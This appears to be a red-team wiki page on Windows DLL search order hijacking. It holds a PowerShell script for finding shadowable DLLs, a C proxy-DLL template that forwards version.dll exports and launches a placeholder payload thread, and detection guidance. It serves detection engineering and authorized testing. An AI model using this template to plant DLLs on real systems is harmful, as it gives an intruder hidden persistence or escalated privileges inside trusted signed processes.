Skip to content
λmaldev wiki/
pagesDLL Search Order Hijacking
T1574.001WindowsC / C++DLLRegistry

DLL Search Order Hijacking

updated 2026-08-046 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

The Windows PE loader resolves DLL names without full paths against a fixed search order: application directory → %SYSTEM32%%WINDOWS% → directories in %PATH%. A binary that loads version.dll by name — without calling LoadLibraryExW with LOAD_LIBRARY_SEARCH_SYSTEM32 — will load whatever version.dll appears first in that order.

If the application directory is user-writable, planting a DLL there installs persistence that executes inside a trusted, signed host process whenever it runs. No registry modification, no scheduled task, no elevated rights — just a file drop.

Note.

DLL hijacking is equally useful for privilege escalation when the vulnerable binary is a service or scheduled task running as SYSTEM. The distinction is whether the binary runs as the planting user (persistence) or a higher-privileged account (escalation).

The call chain

  1. 1
    identify a vulnerable load
    Find a binary that loads a DLL by name without a full path and that runs from a user-writable directory.
  2. 2
    write malicious DLL to search path
    Drop the hijacking DLL in the application directory or %APPDATA%, ahead of System32 in the search order.
  3. 3
    (optional) forward exports
    Re-export all functions from the real DLL so the host application continues to work correctly.
  4. 4
    (trigger) application or service loads
    The loader resolves the DLL name, finds the planted copy first, and maps it into the host process.

Finding candidates

find_candidates.ps1PowerShell
# Run Process Monitor with these filters to capture DLL load failures:
#   Operation: Load Image
#   Result:    NAME NOT FOUND
#   Path:      ends with .dll
#
# Or enumerate app directories for DLLs that shadow System32 names:
$sys32 = Get-ChildItem C:\Windows\System32 -Filter *.dll | Select-Object -Expand Name

Get-ChildItem "C:\Program Files" -Recurse -Filter "*.dll" -ErrorAction SilentlyContinue |
  Where-Object { $sys32 -contains $_.Name } |
  Where-Object { $_.DirectoryName -notlike "*System32*" } |
  Select-Object FullName, Name

Reference DLL (with export forwarding)

hijack.cC
// Forward every export to the real DLL in System32.
// Generated by proxy_gen.py reading the target DLL's export table.
#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID lp) {
  if (reason == DLL_PROCESS_ATTACH) {
      DisableThreadLibraryCalls(h);
      // payload in a new thread so DllMain returns quickly
      CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, NULL, 0, NULL);
  }
  return TRUE;
}

Search order summary

Order Path User-controllable?
1 Application directory Often yes
2 %SYSTEM32% No
3 %WINDOWS% No
4 Current working directory Sometimes
5–8 %PATH% entries Sometimes

SafeDllSearchMode (on by default since Vista) demotes the current working directory to position 8 but does not move the application directory — it stays at position 1.

Detection

SYSMON EID 7
DLL loaded from an unexpected path — user-writable directory for a system binary, or application directory instead of System32.
FILE
A DLL appearing in the application directory that was not present at install time and matches a System32 DLL name.
INVENTORY
DLL name hash + load path audit; any mismatch between expected and actual load path for a signed binary.
BEHAVIOURAL
A scheduled task or service starting from a user-writable directory loading DLLs from that same directory.

The most scalable control is LOAD_LIBRARY_SEARCH_SYSTEM32 in every LoadLibraryEx call for system DLLs and prohibiting user-writable directories in the %PATH% of privileged accounts.

Was this page useful?edit this page ↗